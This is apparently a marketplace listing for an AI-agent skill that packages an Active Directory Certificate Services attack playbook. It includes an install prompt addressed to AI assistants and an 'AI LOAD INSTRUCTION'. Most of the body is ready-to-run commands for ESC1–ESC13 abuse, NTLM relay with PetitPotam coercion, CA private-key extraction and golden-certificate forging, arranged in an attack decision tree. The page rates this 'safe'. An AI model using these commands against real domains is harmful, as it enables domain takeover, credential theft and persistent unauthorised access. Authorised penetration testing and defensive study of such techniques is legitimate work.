ad
Installation
Review the source and dependencies with a prompt. A package is available to download.
Install with an AI assistant
Copy the prompt so your assistant can review the pinned revision and dependencies first.
View promptHide prompt
Check whether SkillPI Skill Finder is installed for your current agent. If it is missing, install and enable it using the official instructions at https://github.com/Findskills/skillpi. Then use Skill Finder to locate and install "ad" from this exact SkillPI detail page: https://skillpi.com/skills/deepskill-b8759023eac2f1651da82673786149ed3fac7bbb4eb7ed230557be11fe5907a6. Verify the upstream source and version against https://skillhub.cn/skills/user_3c6cb52e/active-directory-certificate-services-1ez1 before installing. If they do not match, stop and report the mismatch. Report the installed path and source version.
Source and setup
skillhub.cn
Setup guidance pending
See the original source for supported tools, dependencies, and permissions.
Installation test pending
AD: Attack-focused skill set for AD certificate services, intended to help AI agents efficiently perform related tasks.
Introduction source: third_party · user_3c6cb52e · 1.0.0 Reference
SkillPi interpretation
- Tasks
- AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
- Audience
- Not specified in the source documentation.
- Inputs and outputs
- Not specified in the source documentation.
- Software, accounts and paid services
- ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
- Limits and differences
- Not specified in the source documentation.
- Testing
- Not tested
Browse files
Frontmatter
name: AD证书服务攻击
slug: active-directory-certificate-services
version: 1.0.0
displayName: AD证书服务攻击
description: >
AD证书服务攻击专用技能,帮助AI Agent高效完成相关任务。
summary: "AD证书服务攻击专用技能,帮助AI Agent高效完成相关任务。
"
license: MIT
category: 安全与渗透测试
framework:
- Claude Code
- Codex
- Hermes Agent
- OpenClaw
- QClaw
- WorkBuddy
platform: multi-platform
homepage: https://github.com/1991513ccie-png
repository: https://github.com/1991513ccie-pngSKILL: AD CS Attack Playbook — Expert Guide
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
- active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
- ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
- windows-lateral-movement for using obtained certificates for lateral movement
Advanced Reference
Also load ADCS_ESC_MATRIX.md when you need:
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
1. AD CS ARCHITECTURE OVERVIEW
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT
2. ENUMERATION
# Certipy (recommended — comprehensive)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 — ENROLLEE SUPPLIES SUBJECT
Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator
4. ESC2 — ANY PURPOSE EKU
Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
# Same as ESC1 exploitation
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn administrator@domain.com
5. ESC3 — ENROLLMENT AGENT
Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
# Step 1: Request enrollment agent cert
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 — TEMPLATE ACL MISCONFIGURATION
Condition: Low-privilege user has write access to certificate template object.
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u user@domain.com -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 → exploit as ESC1
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Restore original template (cleanup)
certipy template -u user@domain.com -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled → any template becomes ESC1.
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template User -upn administrator@domain.com
8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
Condition: User has ManageCA or ManageCertificates permission on the CA.
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn administrator@domain.com
# With ManageCertificates: approve the pending request
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID
9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync
10. ESC9-ESC13 — NEWER DISCOVERIES
ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.
# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
ESC10: Weak Certificate Mapping (Registry-based)
Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.
ESC11: NTLM Relay to RPC Enrollment
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainController
ESC13: OID Group Link (Issuance Policy)
Template's issuance policy OID is linked to a group → certificate grants that group membership.
certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# Certificate grants membership in linked group
11. CERTIFICATE-BASED PERSISTENCE
Golden Certificate
With CA private key → forge any certificate.
# Extract CA private key (requires admin on CA server)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP
Persistence: Valid until CA certificate expires or CA private key is rotated.
ForgeCert (Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS ATTACK DECISION TREE
Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│ ├── Enrollee can set SAN + Client Auth EKU?
│ │ └── ESC1 → request cert with admin UPN (§3)
│ ├── Any Purpose EKU?
│ │ └── ESC2 → same as ESC1 (§4)
│ ├── Enrollment Agent template available?
│ │ └── ESC3 → enroll as agent, then on-behalf-of (§5)
│ └── OID group link in issuance policy?
│ └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│ └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│ │ └── ESC6 → any template becomes ESC1 (§7)
│ ├── ManageCA / ManageCertificates permission?
│ │ └── ESC7 → enable SubCA template, approve requests (§8)
│ └── HTTP enrollment without HTTPS?
│ └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│ ├── StrongCertificateBindingEnforcement < 2?
│ │ └── ESC9 → UPN manipulation + cert request (§10)
│ └── CertificateMappingMethods misconfigured?
│ └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│ └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
└── Golden certificate for persistence (§11)Current listing version
1.0.0
Safety and assessment details
Quality assessment
Out of 100 · Assessment report from SkillPi LAB.
Areas to improve
-
缺少 When to Use 章节 Reported severity: Minor
文档未明确说明何时使用此 Skill,建议补充使用场景说明。
Recommendation: 在文档开头或结尾添加 When to Use 章节,说明适用场景和用户群体。
Highlights
- 提供 AD CS 攻击的完整技术指南,涵盖 ESC1-ESC13 等高级攻击技术
- 包含证书持久化、NTLM 中继等实用技术,内容专业且实用
Highlights
- description 字段明确描述为“AD证书服务攻击专用技能”,触发词精准完整
- 在 frontmatter 和 skill_body 中多次强调其用途,边界清晰
Areas to improve
-
文档较长,建议拆分 Reported severity: Minor
文档内容较多,建议拆分为多个子章节或提供目录导航。
Recommendation: 将文档拆分为多个子文件,或在文档开头添加目录导航。
Highlights
- 文档结构清晰,包含多个 Phase(枚举、ESC1-ESC13、持久化、决策树等)
- 每个部分有详细步骤和命令示例,frontmatter 完整
Highlights
- 所有命令均基于 certipy、Certify、ntlmrelayx 等公开工具,参数正确
- 覆盖了主要异常场景(如模板修改、权限检查、证书映射等),不可逆操作有恢复机制
The arithmetic mean of the first four original scores, rounded to a whole number.
Static text checks
100 / 100 · skillpi-20261123-no-r3-v1
No current rules matched the text.
This score reflects rule matches in the text and is provided for reference before use. It excludes attachments and runtime behavior.
Permissions and checks before use
Automatically summarized from this main document. Matches may be examples or defensive advice; they are not actual permission declarations. Attachments, external dependencies and runtime behavior are not covered.
-
Administrator or elevated privileges
Elevate only when necessary. Keep protection and certificate validation enabled and avoid broad system access.
Mentioned in main document · lines 98, 101, 104, 105, 117
Domains or addresses referenced in the document
These addresses may be documentation links or examples, not an approved network allowlist. Verify actual destinations and outgoing data before use.
- github.com
Security rating and access scope
safe · Static evidence review; not a runtime safety guarantee.
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Before use, confirm and authorize actual file access, external services and network destinations in your host. This review grants no runtime permissions.
User discussion
No verified reviews yet.